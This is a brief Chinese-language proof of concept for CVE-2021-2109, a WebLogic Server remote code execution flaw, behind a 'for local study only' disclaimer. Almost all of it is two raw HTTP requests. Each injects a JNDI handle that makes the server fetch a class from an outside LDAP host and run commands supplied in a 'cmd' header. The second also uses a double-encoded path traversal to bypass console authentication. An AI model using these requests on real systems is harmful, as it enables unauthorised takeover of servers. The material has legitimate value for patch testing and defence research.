CVE-2021-2109 Weblogic Server远程代码执行

仅供本地代码学习，用于非法目的与本人无关

核心POC

POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.122.9:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:whoami
Cookie:  ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close


配合未授权访问后台

POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.122;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.122.9:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:pwd
Cookie:  ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close

原理参考

https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw